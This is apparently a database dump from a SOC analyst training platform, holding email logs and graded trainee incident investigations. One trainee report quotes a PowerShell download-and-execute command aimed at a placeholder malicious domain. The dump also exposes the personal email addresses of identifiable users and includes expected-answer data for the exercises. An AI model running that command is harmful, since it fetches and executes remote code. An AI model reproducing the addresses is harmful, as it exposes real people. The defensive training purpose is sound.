-- Table structure for table `email_logs`
--

CREATE TABLE `email_logs` (
  `id` int(11) NOT NULL,
  `recipient_email` varchar(255) NOT NULL,
  `subject` varchar(255) DEFAULT NULL,
  `status` varchar(50) DEFAULT NULL,
  `error_message` text DEFAULT NULL,
  `user_id` int(11) DEFAULT NULL,
  `sent_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `email_logs`
--

INSERT INTO `email_logs` (`id`, `recipient_email`, `subject`, `status`, `error_message`, `user_id`, `sent_at`) VALUES
(1, 'halilbaris@gmail.com', 'Test Render: weekly_report_body', 'sent', NULL, NULL, '2026-03-15 16:30:47'),
(2, '2301301141.nitin@geetauniversity.edu.in', 'New Mission: Malware Detected - Suspicious Process Execution', 'sent', NULL, NULL, '2026-03-15 17:12:52'),
(3, 'akarunkumar348@gmail.com', 'Subscription Upgraded', 'sent', NULL, NULL, '2026-03-15 17:20:16'),
(4, 'akarunkumar348@gmail.com', 'New Mission: Suspicious PowerShell Script Execution', 'sent', NULL, NULL, '2026-03-15 17:21:45'),
(5, 'villarca@outlook.com', 'Verify your email address', 'sent', NULL, NULL, '2026-03-15 17:28:08'),
(6, 'karthikandatom@gmail.com', 'Verify your email address', 'sent', NULL, NULL, '2026-03-15 17:51:16'),
(7, '2301301141.nitin@geetauniversity.edu.in', 'New Mission: Phishing Attempt Detected - Malicious Email Link', 'sent', NULL, NULL, '2026-03-15 18:05:12'),
(8, '2301301141.nitin@geetauniversity.edu.in', 'New Mission: Suspicious PowerShell Command Execution Detected', 'sent', NULL, NULL, '2026-03-15 18:14:41'),
(9, 'shantaciak@gmail.com', 'Verify your email address', 'sent', NULL, NULL, '2026-03-15 18:38:43'),
(10, 'emelyanovakt@gmail.com', 'New Mission: Spear Phishing Email Detected', 'sent', NULL, NULL, '2026-03-15 19:11:11'),
(11, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:15:07'),
(12, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:15:40'),
(13, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:16:50'),
(14, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:17:06'),
(15, 'hmuhina@wgu.edu', 'New Mission: Spear Phishing Email Detected', 'sent', NULL, NULL, '2026-03-16 01:46:28');

-- --------------------------------------------------------

--
-- Table structure for table `feedbacks`
--

CREATE TABLE `feedbacks` (
  `id` int(11) NOT NULL,
  `user_id` int(11) DEFAULT NULL,
  `grade` int(11) DEFAULT NULL,
  `feedback` text DEFAULT NULL,
  `created_at` datetime DEFAULT current_timestamp(),
  `updated_at` datetime DEFAULT current_timestamp() ON UPDATE current_timestamp()
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

-- --------------------------------------------------------

--
-- Table structure for table `investigations`
--

CREATE TABLE `investigations` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `alert_id` int(11) NOT NULL,
  `status` varchar(50) DEFAULT 'investigating',
  `grade` int(11) DEFAULT NULL,
  `feedback` text DEFAULT NULL,
  `executive_summary` text DEFAULT NULL,
  `ai_summary` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL,
  `ai_evaluation_scheduled_at` datetime DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `is_reported` tinyint(1) DEFAULT 0,
  `report_reason` text DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `investigations`
--

INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(44, 41, 240, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2025-12-27T10:33:40.336Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The PowerShell command was identified as potentially malicious due to its encoded nature and execution with high integrity.\",\"missed_items\":[\"Analysis of the decoded command\",\"Summary and conclusion of findings\",\"Action plan or recommendation\"],\"strengths\":\"The analyst has successfully identified the event as suspicious, which is the main takeaway needed in incident response.\"}', NULL, '2025-12-27 10:31:24', '2026-01-02 02:40:31', 0, NULL),
(45, 41, 242, 'investigating', NULL, NULL, NULL, NULL, '2025-12-27 13:50:44', '2025-12-27 10:42:44', '2025-12-27 10:42:44', 0, NULL),
(46, 41, 241, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2025-12-27T10:44:02.144Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The analyst should have noted the use of PowerShell with Invoke-Expression to download a script from a questionable URL, indicative of potentially malicious activity.\",\"missed_items\":[\"Detailed analysis or actions taken\",\"Key artifacts such as the URL and file hash\"],\"strengths\":\"Correctly identified the event as a true positive.\"}', NULL, '2025-12-27 10:42:49', '2026-01-02 02:40:31', 0, NULL),
(47, 44, 166, 'investigating', NULL, NULL, NULL, NULL, '2025-12-28 00:05:00', '2025-12-27 21:00:00', '2025-12-27 21:00:00', 0, NULL),
(51, 54, 255, 'investigating', NULL, NULL, '{\"verdict\":\"True Positive\",\"executive_summary\":{\"report\":\"## Executive Report\\n**Date:** 1/3/2026\\n**Verdict:** True Positive\\n\\n### Incident Overview\\nAlert triggered by suspicious activity classified as **Insider Threat**.\\n\\n### Key Findings & Artifacts\\n- IP: 192.168.32.201\\n\\n### Incident Response\\nActions taken to mitigate the threat:\\nReset Credentials, Block IP / Domain, Isolate Host\",\"conclusion\":\"This alert is classified as a True Positive based on the following findings:\\n\\n1. The identified artifacts (192.168.32.201) were analyzed and determined to be malicious.\\n\\n2. Impact Assessment: The threat was confirmed. Immediate containment measures were taken to prevent lateral movement.\\n\\n3. Recommended Actions: Continue monitoring the affected systems, review access logs, and consider password resets for affected accounts.\"},\"artifacts\":[{\"type\":\"IP\",\"value\":\"192.168.32.201\",\"link\":\"\",\"score\":\"\"}],\"analysis_answers\":{\"attack_category\":\"Insider Threat\",\"action_taken\":[\"Reset Credentials\",\"Block IP / Domain\",\"Isolate Host\"]},\"submitted_at\":\"2026-01-03T16:55:43.995Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', NULL, '2025-12-29 21:35:43', '2026-01-31 21:00:01', 0, NULL),
(52, 54, 257, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"This alert is True Positive\\nDetection POWERSHELL-0012 correctly identified malicious activity, suspicious PowerShell execution and fileless malware pattern. Actions are warranted\",\"submitted_at\":\"2025-12-29T21:58:29.581Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Suspicious PowerShell execution with known malicious network communication.\",\"missed_items\":[\"Executive Summary\",\"Artifacts such as file hash and IP address\"],\"strengths\":\"Correctly identified the activity as malicious.\"}', NULL, '2025-12-29 21:46:51', '2026-01-02 02:40:31', 0, NULL),
(53, 54, 256, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"Alert is True Positive, its a known phishing URL, SEG saw the link is on a blacklist and quarantined the mail. The inbound e-mail bever reached the user\'s inbox. \",\"submitted_at\":\"2025-12-29T22:36:14.618Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The email contained a blacklisted URL linked to phishing, and the email was quarantined.\",\"missed_items\":[\"Actions Taken\",\"Analysis/Artifacts Found\",\"Headers\"],\"strengths\":\"Correctly identified the email as a phishing attempt and stated that it was quarantined.\"}', NULL, '2025-12-29 22:28:13', '2026-01-02 02:40:31', 0, NULL),
(59, 34, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-08T19:05:10.314Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: ip 203.0.113.45 (1/2). Missed response actions (3/4)\",\"missed_items\":[\"ip: 203.0.113.45\",\"escalate\"],\"strengths\":\"Needs improvement\"}', NULL, '2025-12-31 13:10:22', '2026-02-28 21:00:00', 0, NULL),
(60, 34, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"this is truepositive alert, end point has to isolate, block domain , hash etc. .\",\"submitted_at\":\"2025-12-31T14:34:55.159Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The execution of BlackEnergy malware, involvement of suspicious file and process, and the details such as file hash, IP addresses, and the user\'s action.\",\"missed_items\":[\"file_hash\",\"file_path\",\"internal_ip\",\"external_ip\",\"associated_action steps\"],\"strengths\":\"The analyst correctly identified the alert as a true positive.\"}', NULL, '2025-12-31 13:11:32', '2026-01-02 02:40:31', 0, NULL),
(65, 34, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2025-12-31 14:34:55', '2025-12-31 14:34:55', 0, NULL),
(67, 34, 304, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"It is truepositive alert. We need to block URL/Doamin and IP address and hash. \",\"submitted_at\":\"2026-01-02T04:31:15.901Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"critical_artifacts\":[{\"type\":\"email\",\"value\":\"finance.partner@maliciousdomain.com\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"osint_verdict\":\"malicious\"},{\"type\":\"url\",\"value\":\"http://maliciousdomain.com/securelogin\",\"osint_verdict\":\"malicious\"},{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-02 04:28:59', '2026-01-31 21:00:01', 0, NULL),
(68, 34, 305, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-02 04:31:15', '2026-01-02 04:31:15', 0, NULL),
(71, 34, 318, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-05T02:30:55.938Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-02 15:27:39', '2026-02-28 21:00:00', 0, NULL),
(81, 34, 274, 'investigating', NULL, NULL, NULL, NULL, '2026-01-03 00:42:46', '2026-01-02 21:34:46', '2026-01-02 21:34:46', 0, NULL),
(82, 54, 318, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\"],\"verdict\":\"false_positive\",\"conclusion\":\"Instigation confirmed benign activity on internal, known host \\\"internal-server\\\" (192.168.1.15). 15 failed login attempts to \\\"admin\\\" account on dst 192.168.1.100 were triggered by likely cause e.g., automated script misconfig, service account password expiry/rotation, or scheduled task with stale creds. No evidence of brute-force. Host verified clean via EDR scan/logs. Action taken (credential reset) was precautionary. No IOC\'s or anomalies post-review.\",\"submitted_at\":\"2026-01-03T17:06:09.611Z\"}', '{\"verdict\":\"False Positive\",\"recommended_actions\":[\"close_alert\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"192.168.1.15\",\"osint_verdict\":\"internal\"}]}', NULL, '2026-01-03 16:56:39', '2026-01-31 21:00:01', 0, NULL),
(83, 54, 315, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"Host compromised: WORKSTATION-01 (10.0.02) affected user: Jane.doe, Malware Identified: malware.exe-has b194 linked to known enterprise-targeting campaign. Rapid threat intelligence VirusTotal scan confirmed malicious hash. Risk level high. Immediate response actions host Isolation: WORKSTATION-01 quarantined from network-prevented lateral movement and data exfiltration. Malware Blocking: Malware hash globally blacklisted across all enterprise endpoints, Forensic Capture: Memory and disk imaging performed to preserve evidence. \",\"submitted_at\":\"2026-01-03T17:19:44.573Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"critical_artifacts\":[{\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-03 17:07:54', '2026-01-31 21:00:01', 0, NULL),
(84, 54, 249, 'investigating', NULL, NULL, '{\"verdict\":\"True Positive\",\"executive_summary\":{\"report\":\"## Executive Report\\n**Date:** 1/3/2026\\n**Verdict:** True Positive\\n\\n### Incident Overview\\nAlert triggered by suspicious activity classified as **Web Attack**.\\n\\n### Key Findings & Artifacts\\n- URL: http://maliciousdomain.com/script.ps1\\n- Command: \\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\\n- IP: 192.168.1.105\\n- Process: explorer.exe\\n\\n### Incident Response\\nActions taken to mitigate the threat:\\nIsolate Host, Block IP / Domain\",\"conclusion\":\"This alert is classified as a True Positive based on the following findings:\\n\\n1. The identified artifacts (http://maliciousdomain.com/script.ps1, \\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\'), 192.168.1.105, explorer.exe) were analyzed and determined to be malicious.\\n\\n2. Impact Assessment: The threat was confirmed. Immediate containment measures were taken to prevent lateral movement.\\n\\n3. Recommended Actions: Continue monitoring the affected systems, review access logs, and consider password resets for affected accounts.\"},\"artifacts\":[{\"type\":\"URL\",\"value\":\"http://maliciousdomain.com/script.ps1\",\"link\":\"\",\"score\":\"\"},{\"type\":\"Command\",\"value\":\"\\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\",\"link\":\"\",\"score\":\"\"},{\"type\":\"IP\",\"value\":\"192.168.1.105\",\"link\":\"\",\"score\":\"\"},{\"type\":\"Process\",\"value\":\"explorer.exe\",\"link\":\"\",\"score\":\"\"}],\"analysis_answers\":{\"attack_category\":\"Web Attack\",\"action_taken\":[\"Isolate Host\",\"Block IP / Domain\"]},\"submitted_at\":\"2026-01-03T17:35:55.420Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', NULL, '2026-01-03 17:21:08', '2026-01-31 21:00:01', 0, NULL),
(86, 49, 428, 'investigating', NULL, NULL, NULL, NULL, '2026-01-05 01:39:51', '2026-01-04 22:30:51', '2026-01-04 22:30:51', 0, NULL),
(87, 1, 476, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-05 03:22:25', '2026-01-05 03:22:25', 0, NULL),
(88, 34, 496, 'investigating', NULL, NULL, NULL, NULL, '2026-01-06 03:35:33', '2026-01-06 00:29:33', '2026-01-06 00:29:33', 0, NULL),
(89, 34, 476, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"This alert is true positive. \",\"submitted_at\":\"2026-01-06T00:54:10.521Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"osint_verdict\":\"malicious\"},{\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"a4b9c78cb6f1a2b3d4e5f6a7b8c9d0e1\",\"osint_verdict\":\"malicious\"},{\"type\":\"filename\",\"value\":\"important_document.rtf\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-06 00:53:10', '2026-01-31 21:00:01', 0, NULL),
(90, 34, 477, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-06 00:54:10', '2026-01-06 00:54:10', 0, NULL),
(91, 1, 525, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-06 01:49:25', '2026-01-06 01:49:25', 0, NULL),
(92, 65, 244, 'investigating', NULL, NULL, NULL, NULL, '2026-01-06 10:10:49', '2026-01-06 07:00:49', '2026-01-06 07:00:49', 0, NULL),
(93, 1, 530, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-06 19:45:51', '2026-01-06 19:45:51', 0, NULL),
(94, 68, 530, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-07T16:11:48.286Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.5\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"3a2f4e6d2b2a4f5c6f9e8b7e4c1d2f3e\",\"osint_verdict\":\"malicious\"},{\"type\":\"filename\",\"value\":\"ASUSUpdate.exe\",\"osint_verdict\":\"suspicious\"}]}', NULL, '2026-01-07 16:08:30', '2026-01-31 21:00:01', 0, NULL),
(95, 68, 531, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"This report summarizes the Malicious payload, identifying key strengths in our response and critical areas needing improvement to address evolving threats like.\\nSuccessfully contained simulated ransomware, but identified gaps in endpoint detection coverage on 15% of legacy devices.\\nWhile no data was lost, potential downtime could have impacted critical operations.\\nRecommendations for improvement:  1. Upgrade EDR on legacy systems; 2. Develop updated playbooks for data exfiltration; 3. Conduct quarterly phishing simulations. \",\"submitted_at\":\"2026-01-07T16:40:25.941Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.15\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-07 16:11:48', '2026-01-31 21:00:01', 0, NULL),
(96, 68, 532, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"This report summarizes the [Event Name], identifying key strengths in our response and critical areas needing improvement to address evolving threats like [Threat Type]\\\".\\nKey Findings: Backdoor was detected.\\nBusiness Impact: While no data was lost, potential downtime could have impacted critical operations.\\nRecommendations (POA&M): 1. Upgrade EDR on legacy systems; 2. Develop updated playbooks for data exfiltration; 3. Conduct quarterly phishing simulations. \",\"submitted_at\":\"2026-01-07T16:43:10.336Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"osint_verdict\":\"malicious\"},{\"type\":\"username\",\"value\":\"compromised_user\",\"osint_verdict\":\"suspicious\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-07 16:40:25', '2026-01-31 21:00:01', 0, NULL),
(97, 68, 533, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-07 16:43:10', '2026-01-07 16:43:10', 0, NULL),
(98, 34, 530, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-11 01:35:26', '2026-01-11 01:35:26', 0, NULL),
(99, 34, 546, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-11 01:38:00', '2026-01-11 01:38:00', 0, NULL),
(100, 34, 345, 'investigating', NULL, NULL, NULL, NULL, '2026-01-11 04:54:19', '2026-01-11 01:45:19', '2026-01-11 01:45:19', 0, NULL),
(147, 78, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-14 03:22:08', '2026-01-14 03:22:08', 0, NULL),
(148, 74, 642, 'investigating', NULL, NULL, NULL, NULL, '2026-01-14 09:40:24', '2026-01-14 06:35:24', '2026-01-14 06:35:24', 0, NULL),
(149, 74, 830, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-14 06:36:01', '2026-01-14 06:36:01', 0, NULL),
(150, 74, 236, 'investigating', NULL, NULL, NULL, NULL, '2026-01-14 09:44:57', '2026-01-14 06:38:57', '2026-01-14 06:38:57', 0, NULL),
(151, 74, 601, 'investigating', NULL, NULL, NULL, NULL, '2026-01-14 09:48:23', '2026-01-14 06:40:23', '2026-01-14 06:40:23', 0, NULL),
(152, 85, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-16 13:33:40', '2026-01-16 13:33:40', 0, NULL),
(153, 85, 952, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"Dest ip: 192.168.1.50\\nSource ip: 203.0.113.55\\nhostname: server01\\ndomain : maliciousc2.com\\n\\nThe ip and domain belong to C2C server and they are blocked. \\n\\nIt is important to analyse deeper to verify, if the connection is successful.\\n\",\"submitted_at\":\"2026-01-16T13:40:01.913Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (1/3)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-16 13:35:06', '2026-01-31 21:00:01', 0, NULL),
(154, 85, 727, 'investigating', NULL, NULL, NULL, NULL, '2026-01-16 16:45:24', '2026-01-16 13:40:24', '2026-01-16 13:40:24', 0, NULL),
(155, 54, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"Email abc123@example.com was reported Suspicious with Unusual email activity detected.\\nIP 203.0.113.45 was reported as Malicious the IP is associated with known phishing campaigns.\\nHash 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a was reported Malicious there was Malware detected in attachment.\\nContainment protocol consist of isolating host, block IP/Domain, block file hash, reset credentials, and collect forensics.\\nVerdict is True positive\",\"submitted_at\":\"2026-01-17T03:11:31.821Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (3/4)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 03:00:58', '2026-01-31 21:00:01', 0, NULL),
(156, 54, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"October 5, 2023, EDR system alerted to a confirmed BlackEnergy malware execution on the host CORP-ENDPOINT-23 (user:jdoe). The infection originated from malicious phishing attachment (invoice.doc).\\nKey findings:\\nSource: Malicious file invoice.doc delivered via email\\nInfected Host: Internal IP 192.168.1.45\\nCommand & Control: Communication with a known malicious external IP (203.0.113.50) associated with BlackEnergy campaigns.\\nIOC Match: File hash and malware signature confirmed against threat intelligence database.\\nActions taken were to isolate the host, block IP/Domain, block file hash, reset credentials, and to collect forensics. The incident was classified as a True Positive with high severity level.\\n\\n\",\"submitted_at\":\"2026-01-17T03:30:03.780Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 03:11:31', '2026-01-31 21:00:01', 0, NULL),
(157, 54, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-17 03:30:03', '2026-01-17 03:30:03', 0, NULL),
(158, 74, 950, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Malicious link in phidhing email\",\"submitted_at\":\"2026-01-17T08:45:12.141Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 08:43:36', '2026-01-31 21:00:01', 0, NULL),
(159, 74, 991, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-17T08:47:53.790Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/3). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 08:46:40', '2026-01-31 21:00:01', 0, NULL),
(160, 74, 992, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-17T08:49:00.518Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/3). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 08:47:53', '2026-01-31 21:00:01', 0, NULL),
(161, 74, 993, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-17 08:49:00', '2026-01-17 08:49:00', 0, NULL),
(162, 52, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-19 08:45:34', '2026-01-19 08:45:34', 0, NULL),
(163, 52, 707, 'investigating', NULL, NULL, NULL, '{\"verdict_correctness\":\"Incorrect\",\"key_findings\":\"Incorrect verdict. Expected true_positive, got benign. Missed critical artifacts (0/1). Missed response actions (2/3)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-19 08:46:26', '2026-01-19 08:57:52', 0, NULL),
(164, 91, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-20 10:38:53', '2026-01-20 10:38:53', 0, NULL),
